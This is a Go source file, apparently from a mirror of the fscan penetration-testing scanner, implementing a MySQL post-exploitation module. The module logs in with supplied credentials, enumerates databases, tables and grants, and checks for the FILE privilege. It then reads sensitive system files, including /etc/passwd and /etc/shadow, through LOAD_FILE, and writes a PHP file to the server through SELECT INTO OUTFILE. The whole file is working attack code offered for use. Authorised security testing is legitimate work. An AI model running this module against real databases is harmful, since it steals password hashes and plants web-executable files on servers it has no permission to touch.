mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 修复重复输出问题:适配器层改为debug输出,避免与插件层重复 - 修复格式化错误:修正SaveExploitResult中的端口格式化问题 - 新增利用方法名称i18n:添加GetExploitMethodName函数支持方法名本地化 - 扩展i18n消息模板:新增利用方法执行、MySQL/Redis专用消息模板 - 完善exploiter国际化:所有利用方法和结果消息支持中英文切换 - 优化用户体验:利用方法显示从"information_gathering"变为"信息收集"
375 lines
11 KiB
Go
375 lines
11 KiB
Go
package mysql
|
||
|
||
import (
|
||
"context"
|
||
"database/sql"
|
||
"fmt"
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/common/i18n"
|
||
"github.com/shadow1ng/fscan/plugins/base"
|
||
"strconv"
|
||
"strings"
|
||
)
|
||
|
||
// MySQLExploiter MySQL利用器实现
|
||
type MySQLExploiter struct {
|
||
*base.BaseExploiter
|
||
connector *MySQLConnector
|
||
}
|
||
|
||
// NewMySQLExploiter 创建MySQL利用器
|
||
func NewMySQLExploiter() *MySQLExploiter {
|
||
exploiter := &MySQLExploiter{
|
||
BaseExploiter: base.NewBaseExploiter("mysql"),
|
||
connector: NewMySQLConnector(),
|
||
}
|
||
|
||
// 添加利用方法
|
||
exploiter.setupExploitMethods()
|
||
|
||
return exploiter
|
||
}
|
||
|
||
// setupExploitMethods 设置利用方法
|
||
func (e *MySQLExploiter) setupExploitMethods() {
|
||
// 1. 信息收集
|
||
infoMethod := base.NewExploitMethod(base.ExploitDataExtraction, "information_gathering").
|
||
WithDescription("收集MySQL服务器信息").
|
||
WithPriority(8).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitInformationGathering).
|
||
Build()
|
||
e.AddExploitMethod(infoMethod)
|
||
|
||
// 2. 数据库枚举
|
||
enumMethod := base.NewExploitMethod(base.ExploitDataExtraction, "database_enumeration").
|
||
WithDescription("枚举数据库和表").
|
||
WithPriority(7).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitDatabaseEnumeration).
|
||
Build()
|
||
e.AddExploitMethod(enumMethod)
|
||
|
||
// 3. 用户权限检查
|
||
privMethod := base.NewExploitMethod(base.ExploitDataExtraction, "privilege_check").
|
||
WithDescription("检查用户权限").
|
||
WithPriority(6).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitPrivilegeCheck).
|
||
Build()
|
||
e.AddExploitMethod(privMethod)
|
||
|
||
// 4. 文件读取(如果有FILE权限)
|
||
fileReadMethod := base.NewExploitMethod(base.ExploitDataExtraction, "file_read").
|
||
WithDescription("读取服务器文件").
|
||
WithPriority(9).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitFileRead).
|
||
Build()
|
||
e.AddExploitMethod(fileReadMethod)
|
||
|
||
// 5. 文件写入(如果有FILE权限)
|
||
fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "file_write").
|
||
WithDescription("写入文件到服务器").
|
||
WithPriority(10).
|
||
WithConditions("has_credentials").
|
||
WithHandler(e.exploitFileWrite).
|
||
Build()
|
||
e.AddExploitMethod(fileWriteMethod)
|
||
}
|
||
|
||
// exploitInformationGathering 信息收集利用
|
||
func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering")
|
||
|
||
// 获取版本信息
|
||
version, err := e.getVersion(ctx, db)
|
||
if err == nil {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_version_info", version))
|
||
result.Extra["version"] = version
|
||
}
|
||
|
||
// 获取当前用户
|
||
user, err := e.getCurrentUser(ctx, db)
|
||
if err == nil {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_current_user", user))
|
||
result.Extra["current_user"] = user
|
||
}
|
||
|
||
// 获取当前数据库
|
||
database, err := e.getCurrentDatabase(ctx, db)
|
||
if err == nil {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_current_database", database))
|
||
result.Extra["current_database"] = database
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitDatabaseEnumeration 数据库枚举利用
|
||
func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration")
|
||
|
||
// 枚举数据库
|
||
databases, err := e.enumerateDatabases(ctx, db)
|
||
if err == nil && len(databases) > 0 {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_databases_found", strings.Join(databases, ", ")))
|
||
result.Extra["databases"] = databases
|
||
}
|
||
|
||
// 枚举表(限制在非系统数据库中)
|
||
tables, err := e.enumerateTables(ctx, db)
|
||
if err == nil && len(tables) > 0 {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_tables_found", tables))
|
||
result.Extra["tables"] = tables
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitPrivilegeCheck 权限检查利用
|
||
func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
|
||
|
||
// 检查用户权限
|
||
privileges, err := e.getUserPrivileges(ctx, db)
|
||
if err == nil && len(privileges) > 0 {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_user_privileges", strings.Join(privileges, ", ")))
|
||
result.Extra["privileges"] = privileges
|
||
}
|
||
|
||
// 检查是否有FILE权限
|
||
hasFilePriv := e.hasFilePrivilege(privileges)
|
||
result.Extra["has_file_privilege"] = hasFilePriv
|
||
if hasFilePriv {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_file_privilege_detected"))
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitFileRead 文件读取利用
|
||
func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
// 尝试读取常见的敏感文件
|
||
filesToRead := []string{
|
||
"/etc/passwd",
|
||
"/etc/shadow",
|
||
"/etc/hosts",
|
||
"C:\\Windows\\System32\\drivers\\etc\\hosts",
|
||
}
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read")
|
||
hasRead := false
|
||
|
||
for _, file := range filesToRead {
|
||
content, err := e.readFile(ctx, db, file)
|
||
if err == nil && content != "" {
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_file_read_success", file, content))
|
||
hasRead = true
|
||
}
|
||
}
|
||
|
||
if !hasRead {
|
||
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read",
|
||
fmt.Errorf(i18n.GetText("mysql_no_file_privilege"))), nil
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// exploitFileWrite 文件写入利用
|
||
func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||
db, err := e.connectWithCredentials(ctx, info, creds)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
|
||
}
|
||
defer db.Close()
|
||
|
||
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write")
|
||
|
||
// 尝试写入测试文件
|
||
testContent := "<?php echo 'MySQL File Write Test'; ?>"
|
||
testFile := "/tmp/mysql_test.php"
|
||
|
||
err = e.writeFile(ctx, db, testFile, testContent)
|
||
if err != nil {
|
||
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
|
||
}
|
||
|
||
base.AddOutputToResult(result, i18n.GetText("mysql_file_write_success", testFile))
|
||
base.AddFileToResult(result, testFile)
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// =============================================================================
|
||
// MySQL操作辅助函数
|
||
// =============================================================================
|
||
|
||
// connectWithCredentials 使用凭据连接数据库
|
||
func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) {
|
||
// 解析端口号
|
||
port, err := strconv.Atoi(info.Ports)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("无效的端口号: %s", info.Ports)
|
||
}
|
||
connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password)
|
||
|
||
db, err := sql.Open("mysql", connStr)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
|
||
// 测试连接
|
||
if err = db.PingContext(ctx); err != nil {
|
||
db.Close()
|
||
return nil, err
|
||
}
|
||
|
||
return db, nil
|
||
}
|
||
|
||
// buildConnectionString 构建连接字符串
|
||
func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string {
|
||
if common.Socks5Proxy != "" {
|
||
return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s",
|
||
username, password, host, port)
|
||
}
|
||
return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s",
|
||
username, password, host, port)
|
||
}
|
||
|
||
// getVersion 获取MySQL版本
|
||
func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) {
|
||
var version string
|
||
err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version)
|
||
return version, err
|
||
}
|
||
|
||
// getCurrentUser 获取当前用户
|
||
func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) {
|
||
var user string
|
||
err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user)
|
||
return user, err
|
||
}
|
||
|
||
// getCurrentDatabase 获取当前数据库
|
||
func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) {
|
||
var database string
|
||
err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database)
|
||
return database, err
|
||
}
|
||
|
||
// enumerateDatabases 枚举数据库
|
||
func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) {
|
||
rows, err := db.QueryContext(ctx, "SHOW DATABASES")
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer rows.Close()
|
||
|
||
var databases []string
|
||
for rows.Next() {
|
||
var dbName string
|
||
if err := rows.Scan(&dbName); err != nil {
|
||
continue
|
||
}
|
||
databases = append(databases, dbName)
|
||
}
|
||
|
||
return databases, nil
|
||
}
|
||
|
||
// enumerateTables 枚举表
|
||
func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) {
|
||
rows, err := db.QueryContext(ctx, `
|
||
SELECT TABLE_SCHEMA, TABLE_NAME
|
||
FROM information_schema.TABLES
|
||
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
|
||
LIMIT 50
|
||
`)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer rows.Close()
|
||
|
||
tables := make(map[string][]string)
|
||
for rows.Next() {
|
||
var schema, table string
|
||
if err := rows.Scan(&schema, &table); err != nil {
|
||
continue
|
||
}
|
||
tables[schema] = append(tables[schema], table)
|
||
}
|
||
|
||
return tables, nil
|
||
}
|
||
|
||
// getUserPrivileges 获取用户权限
|
||
func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) {
|
||
rows, err := db.QueryContext(ctx, "SHOW GRANTS")
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
defer rows.Close()
|
||
|
||
var privileges []string
|
||
for rows.Next() {
|
||
var grant string
|
||
if err := rows.Scan(&grant); err != nil {
|
||
continue
|
||
}
|
||
privileges = append(privileges, grant)
|
||
}
|
||
|
||
return privileges, nil
|
||
}
|
||
|
||
// hasFilePrivilege 检查是否有FILE权限
|
||
func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool {
|
||
for _, priv := range privileges {
|
||
if strings.Contains(strings.ToUpper(priv), "FILE") {
|
||
return true
|
||
}
|
||
}
|
||
return false
|
||
}
|
||
|
||
// readFile 读取文件
|
||
func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) {
|
||
var content string
|
||
query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename)
|
||
err := db.QueryRowContext(ctx, query).Scan(&content)
|
||
return content, err
|
||
}
|
||
|
||
// writeFile 写入文件
|
||
func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error {
|
||
query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename)
|
||
_, err := db.ExecContext(ctx, query)
|
||
return err
|
||
} |